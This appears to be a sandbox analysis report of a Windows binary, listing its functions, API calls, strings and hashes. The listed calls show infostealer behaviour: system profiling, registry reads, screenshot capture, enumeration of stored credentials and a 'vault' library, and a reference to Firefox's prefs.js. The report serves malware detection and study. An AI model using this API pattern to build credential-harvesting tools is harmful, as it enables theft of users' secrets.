Part of subcall function 00007FF75A6B1900: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6B19D4

Part of subcall function 00007FF75A6B3FF0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6B447D

GlobalMemoryStatusEx.KERNEL32 ref: 00007FF75A6F87BC
wcsftime.LIBCMT ref: 00007FF75A6F8FB2
GetModuleFileNameA.KERNEL32 ref: 00007FF75A6F9146
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F9B09
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F9B0F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F9B15
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F9B1B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F9B21
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F9B27
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F9B2D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F9B33
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F9B39
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F9B3F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F9B45
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F9B4B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F9B51
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F9B57
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F9B5D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F9B63

Strings

cpu, xrefs: 00007FF75A6F8658
time, xrefs: 00007FF75A6F9081
%d-%m-%Y, %H:%M:%S, xrefs: 00007FF75A6F8F9F
ram, xrefs: 00007FF75A6F889B
timezone, xrefs: 00007FF75A6F9454
system, xrefs: 00007FF75A6F8424, 00007FF75A6F8513, 00007FF75A6F8609, 00007FF75A6F8703, 00007FF75A6F884B, 00007FF75A6F8945, 00007FF75A6F8A38, 00007FF75A6F8BBF, 00007FF75A6F8DB0, 00007FF75A6F9031, 00007FF75A6F91F4, 00007FF75A6F940E, 00007FF75A6F95AD, 00007FF75A6F9757, 00007FF75A6F981D
computer_name, xrefs: 00007FF75A6F8994
gpu, xrefs: 00007FF75A6F8562
user_name, xrefs: 00007FF75A6F846F

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Name$DevicesDisplayEnum$ComputerFileGlobalMemoryModuleStatusUserValuewcsftime
String ID: %d-%m-%Y, %H:%M:%S$computer_name$cpu$gpu$ram$system$time$timezone$user_name
API String ID: 4122120932-1182675529
Opcode ID: 51e59fcf0f6f0fde0bd35e2d5984d4f3d7da06dca640c4e41ce2a64277dcc207
Instruction ID: bce3f85137be3804885dce6c716fa0ef7aaf7fa57b30ce44e8adf2902aa6e836
Opcode Fuzzy Hash: 51e59fcf0f6f0fde0bd35e2d5984d4f3d7da06dca640c4e41ce2a64277dcc207
Instruction Fuzzy Hash: 86E2A873A18BC695E721DF24D8902EDB7A1FB89788F445635EA8D07B99EF38D240C710

Function 00007FF75A6A4B70 Relevance: 46.8, APIs: 21, Strings: 5, Instructions: 1343registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32 ref: 00007FF75A6A509B
RegQueryValueExA.ADVAPI32 ref: 00007FF75A6A50E9
RegCloseKey.ADVAPI32 ref: 00007FF75A6A5186
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A6384
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A63A5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A63AB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A63B1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A63B7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A63BD
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A63C3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A63C9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A63F0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A63F6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A6420
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A6426
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A642C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A644E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A6454
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A645A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A6466
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A6487

Strings

content, xrefs: 00007FF75A6A55A3, 00007FF75A6A5BF6, 00007FF75A6A6120
exists, xrefs: 00007FF75A6A6398, 00007FF75A6A63E3, 00007FF75A6A647A
directory_iterator::directory_iterator, xrefs: 00007FF75A6A6441
status, xrefs: 00007FF75A6A6403, 00007FF75A6A6413
filename, xrefs: 00007FF75A6A549A, 00007FF75A6A5A28, 00007FF75A6A5F59

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseOpenQueryValue
String ID: content$directory_iterator::directory_iterator$exists$filename$status
API String ID: 1254564140-3429737954
Opcode ID: 012e6ba9c2c8677ccf4bbf7714e3ab1c70571e04e8762841456c3c5d8b6df22a
Instruction ID: f79d0a656e34ff406984f76718d7dc48abc17419378dc16e3f7bd107ca63aebe
Opcode Fuzzy Hash: 012e6ba9c2c8677ccf4bbf7714e3ab1c70571e04e8762841456c3c5d8b6df22a
Instruction Fuzzy Hash: C0E27072A04BC589EB21EF34D8803EDB365FB85B58F945275EA5C0BA99DF78D680C310

Function 00007FF75A6D6350 Relevance: 46.6, APIs: 20, Strings: 6, Instructions: 1136
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

exists, xrefs: 00007FF75A6DA5DE, 00007FF75A6DA6AC, 00007FF75A6DA76E, 00007FF75A6DA83C
directory_iterator::directory_iterator, xrefs: 00007FF75A6DA853, 00007FF75A6DA875, 00007FF75A6DA8AD
cannot use push_back() with , xrefs: 00007FF75A6DA625, 00007FF75A6DA6FE, 00007FF75A6DA7B5
status, xrefs: 00007FF75A6DA600, 00007FF75A6DA6D9, 00007FF75A6DA790, 00007FF75A6DA863, 00007FF75A6DA885, 00007FF75A6DA89B, 00007FF75A6DA8BD
recursive_directory_iterator::recursive_directory_iterator, xrefs: 00007FF75A6DA68F, 00007FF75A6DA6C9, 00007FF75A6DA81F
recursive_directory_iterator::operator++, xrefs: 00007FF75A6DA678, 00007FF75A6DA745, 00007FF75A6DA808

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: __std_fs_convert_wide_to_narrow$__std_fs_code_page
String ID: cannot use push_back() with $directory_iterator::directory_iterator$exists$recursive_directory_iterator::operator++$recursive_directory_iterator::recursive_directory_iterator$status
API String ID: 3645842244-1862120484
Opcode ID: de5a621f2f067d1123de94e788919e3c44fbe91b6b887da37095cf4d544f4034
Instruction ID: ed1b2c2e271ef8c00a1604158e1e96eb54f13841c32f7ca4c6c3eaa2686225bc
Opcode Fuzzy Hash: de5a621f2f067d1123de94e788919e3c44fbe91b6b887da37095cf4d544f4034
Instruction Fuzzy Hash: CAD22772909BC985E6709B19F4812ABF3A1FBD8B84F405625EACC53B59EF7CD250CB04

Function 00007FF75A6F5B70 Relevance: 45.7, APIs: 25, Strings: 1, Instructions: 225
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 00007FF75A6F5BB1
GetSystemMetrics.USER32 ref: 00007FF75A6F5BBF
GetSystemMetrics.USER32 ref: 00007FF75A6F5BCD
GetSystemMetrics.USER32 ref: 00007FF75A6F5BDB
GetDC.USER32 ref: 00007FF75A6F5BE5
GetDeviceCaps.GDI32 ref: 00007FF75A6F5BFB
GetDeviceCaps.GDI32 ref: 00007FF75A6F5C0B
CreateCompatibleDC.GDI32 ref: 00007FF75A6F5C18
CreateCompatibleBitmap.GDI32 ref: 00007FF75A6F5C30
SelectObject.GDI32 ref: 00007FF75A6F5C46
BitBlt.GDI32 ref: 00007FF75A6F5C7C
SHCreateMemStream.SHLWAPI ref: 00007FF75A6F5CB2
SelectObject.GDI32 ref: 00007FF75A6F5CC8
DeleteDC.GDI32 ref: 00007FF75A6F5CD1
ReleaseDC.USER32 ref: 00007FF75A6F5CDC
DeleteObject.GDI32 ref: 00007FF75A6F5CE5
EnterCriticalSection.KERNEL32 ref: 00007FF75A6F5DDC
LeaveCriticalSection.KERNEL32 ref: 00007FF75A6F5DEE
IStream_Size.SHLWAPI ref: 00007FF75A6F5E25
IStream_Reset.SHLWAPI ref: 00007FF75A6F5E36
IStream_Read.SHLWAPI ref: 00007FF75A6F5EBB
SelectObject.GDI32 ref: 00007FF75A6F5F15
DeleteDC.GDI32 ref: 00007FF75A6F5F1E
ReleaseDC.USER32 ref: 00007FF75A6F5F2B
DeleteObject.GDI32 ref: 00007FF75A6F5F34

Strings

, xrefs: 00007FF75A6F5C51

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: Object$DeleteMetricsSystem$CreateSelectStream_$CapsCompatibleCriticalDeviceReleaseSection$BitmapEnterLeaveReadResetSizeStream
String ID:
API String ID: 3214587331-3916222277
Opcode ID: 312cd4efce3d3f241b15748fa518ee44aaca86f0cd571cabb29f5cbe721ad1f9
Instruction ID: 61f7eb0b8846b0c2c2b790f6bd86f91de982c337895fdddaaf0fa5e889bd900c
Opcode Fuzzy Hash: 312cd4efce3d3f241b15748fa518ee44aaca86f0cd571cabb29f5cbe721ad1f9
Instruction Fuzzy Hash: 55B16032A08BC186E760EF21E4543AAF7A2FF89B80F844575DA8D43B69DF7CD4458B50

Function 00007FF75A6AD570 Relevance: 35.9, APIs: 17, Strings: 3, Instructions: 862
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 00007FF75A6AD65C
GetProcAddress.KERNEL32 ref: 00007FF75A6AD767
GetProcAddress.KERNEL32 ref: 00007FF75A6AD829
GetProcAddress.KERNEL32 ref: 00007FF75A6AD8A3
GetProcAddress.KERNEL32 ref: 00007FF75A6AD925
GetProcAddress.KERNEL32 ref: 00007FF75A6AD99F
GetProcAddress.KERNEL32 ref: 00007FF75A6ADA23
FreeLibrary.KERNEL32 ref: 00007FF75A6AE551
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6AE587
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6AE5DB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6AE5E1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6AE5E7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6AE5ED
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6AE5F3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6AE5F9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6AE5FF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6AE605

Strings

cannot use push_back() with , xrefs: 00007FF75A6AE59F
system, xrefs: 00007FF75A6AE35D
vault, xrefs: 00007FF75A6AE3B3

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$AddressProc$Library$FreeLoad
String ID: cannot use push_back() with $system$vault
API String ID: 2463004387-1741236777
Opcode ID: 0873a3fb5bbb520a30d261d12c2612c28bb7750a3105e5d7ddf57a5f45584eca
Instruction ID: 73d7efa4ae0e0f5d852110cc39863609203a6f49da7d3efae4dcdabb8ef7a963
Opcode Fuzzy Hash: 0873a3fb5bbb520a30d261d12c2612c28bb7750a3105e5d7ddf57a5f45584eca
Instruction Fuzzy Hash: 4B927E32605BC589EB609F25E8843EDB3A1FB49B88F544235DB9C4BB99EF38D644C310

Function 00007FF75A6A2CA0 Relevance: 32.3, APIs: 13, Strings: 5, Instructions: 789
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32 ref: 00007FF75A6A3022
RegQueryValueExA.ADVAPI32 ref: 00007FF75A6A306A
RegCloseKey.ADVAPI32 ref: 00007FF75A6A30F7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A39B0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A39CB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A39D1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A39EA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A39F0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A3A06
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A3A0C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A3A12
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A3A1E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A3A24

Strings

content, xrefs: 00007FF75A6A3694
exists, xrefs: 00007FF75A6A39BE
directory_iterator::directory_iterator, xrefs: 00007FF75A6A39DD
status, xrefs: 00007FF75A6A39F9
filename, xrefs: 00007FF75A6A3500

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseOpenQueryValue
String ID: content$directory_iterator::directory_iterator$exists$filename$status
API String ID: 1254564140-3429737954
Opcode ID: bccbaa4cb4d18e6557651bde58cbd3850779667ddbdad3e07abce0f14d6705b0
Instruction ID: 04d3f45c4443c8e62e087f49c27fe5556c17108ead0fd51802bc2ac295d91ebb
Opcode Fuzzy Hash: bccbaa4cb4d18e6557651bde58cbd3850779667ddbdad3e07abce0f14d6705b0
Instruction Fuzzy Hash: 4D829072A15BC589EB209F34D8803EDB3A1FB89B98F545275EA9D07B99DF38D580C340

Function 00007FF75A6A20B0 Relevance: 28.7, APIs: 12, Strings: 4, Instructions: 684
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32 ref: 00007FF75A6A2409
RegQueryValueExA.ADVAPI32 ref: 00007FF75A6A244E
RegCloseKey.ADVAPI32 ref: 00007FF75A6A24F7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A2C2E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A2C4F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A2C55
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A2C71
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A2C77
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A2C7D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A2C83
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A2C8F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A2C95

Strings

content, xrefs: 00007FF75A6A2915
exists, xrefs: 00007FF75A6A2C42
directory_iterator::directory_iterator, xrefs: 00007FF75A6A2C64
filename, xrefs: 00007FF75A6A2787

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseOpenQueryValue
String ID: content$directory_iterator::directory_iterator$exists$filename
API String ID: 1254564140-1400943384
Opcode ID: 6b6d9910831da17615bf6fef016cb860db07f4e2ebd857ffc1e63b9f2287ad91
Instruction ID: bdd7c20e7c73617ccf87bf9d1e7ba0802dc8a0126b1d9b7898b9dd6a752b931e
Opcode Fuzzy Hash: 6b6d9910831da17615bf6fef016cb860db07f4e2ebd857ffc1e63b9f2287ad91
Instruction Fuzzy Hash: B5729272A14BC589EB109F35D8803ED77A1FB89B98F549235EA9D07BA9DF38D580C340

Function 00007FF75A6DD080 Relevance: 28.6, APIs: 11, Strings: 5, Instructions: 599
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

exists, xrefs: 00007FF75A6DF48D
directory_iterator::directory_iterator, xrefs: 00007FF75A6DDE23, 00007FF75A6DF4A4
cannot use push_back() with , xrefs: 00007FF75A6DDDD5
status, xrefs: 00007FF75A6DDE11, 00007FF75A6DDE33, 00007FF75A6DDE5B, 00007FF75A6DDE83
prefs.js, xrefs: 00007FF75A6DE5E2

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID:
String ID: cannot use push_back() with $directory_iterator::directory_iterator$exists$prefs.js$status
API String ID: 0-2713369562
Opcode ID: 70798774ab32343ea359809d6e97309927bf9168ba36e54582312949e83bb2b9
Instruction ID: 91363fe1800dd3699664173f2046f0b9b561c343c32b6dce74e82808f06b3395
Opcode Fuzzy Hash: 70798774ab32343ea359809d6e97309927bf9168ba36e54582312949e83bb2b9
Instruction Fuzzy Hash: 28524932909FC588E6B1AB14E8813EAB3A5FBC9784F545675DACC42B59EF3CC194CB10

Function 00007FF75A72B5B0 Relevance: 27.2, APIs: 18, Instructions: 229
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesExW.KERNEL32 ref: 00007FF75A72B65D
GetLastError.KERNEL32 ref: 00007FF75A72B667
FindFirstFileW.KERNEL32 ref: 00007FF75A72B67E
GetLastError.KERNEL32 ref: 00007FF75A72B68A
FindClose.KERNEL32 ref: 00007FF75A72B698
__std_fs_open_handle.LIBCPMT ref: 00007FF75A72B72B
CloseHandle.KERNEL32 ref: 00007FF75A72B741
CloseHandle.KERNEL32 ref: 00007FF75A72B8B4

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: Close$ErrorFileFindHandleLast$AttributesFirst__std_fs_open_handle
String ID:
API String ID: 2398595512-0
Opcode ID: ae06ef96b620ec177ea6819a3a1ac38214177ad565b87e13f1ccf53398ca1eb7
Instruction ID: 8e91eed5bb3c8123add7e3d94c943cfa03e0e6f2458ac8bfeff79b6f28bfc2b9
Opcode Fuzzy Hash: ae06ef96b620ec177ea6819a3a1ac38214177ad565b87e13f1ccf53398ca1eb7
Instruction Fuzzy Hash: C9919032B08A0246F664AF25A814275A390EF8D7B4F9C4B71DA7E477D4DF7DE8018760

Function 00007FF75A6ACA10 Relevance: 21.7, APIs: 11, Strings: 1, Instructions: 671
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CredEnumerateA.ADVAPI32 ref: 00007FF75A6ACA72
CredFree.ADVAPI32 ref: 00007FF75A6AD496
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6AD4CC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6AD520
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6AD526
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6AD52C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6AD532
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6AD538
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6AD53E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6AD544
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6AD54A

Strings

cannot use push_back() with , xrefs: 00007FF75A6AD4E4

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Cred$EnumerateFree
String ID: cannot use push_back() with
API String ID: 1347986415-4122110429
Opcode ID: cdedf41afa139a65bbdff1316d74c29c97410966649d7b82ff0ebc9f70e81d4d
Instruction ID: c593c9357032801d91338f289ea34be729f66df08a211825e207b894c39d72f4
Opcode Fuzzy Hash: cdedf41afa139a65bbdff1316d74c29c97410966649d7b82ff0ebc9f70e81d4d
Instruction Fuzzy Hash: D3629172A04BC589EB209F24E8803ED7761FB89B98F544375EAAD07B99DF38D584C710

Function 00007FF75A6B9F80 Relevance: 21.4, APIs: 11, Strings: 1, Instructions: 417
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__std_exception_destroy.LIBVCRUNTIME ref: 00007FF75A6BA134
__std_exception_destroy.LIBVCRUNTIME ref: 00007FF75A6BA142
__std_exception_destroy.LIBVCRUNTIME ref: 00007FF75A6BA3C5
__std_exception_destroy.LIBVCRUNTIME ref: 00007FF75A6BA3D3
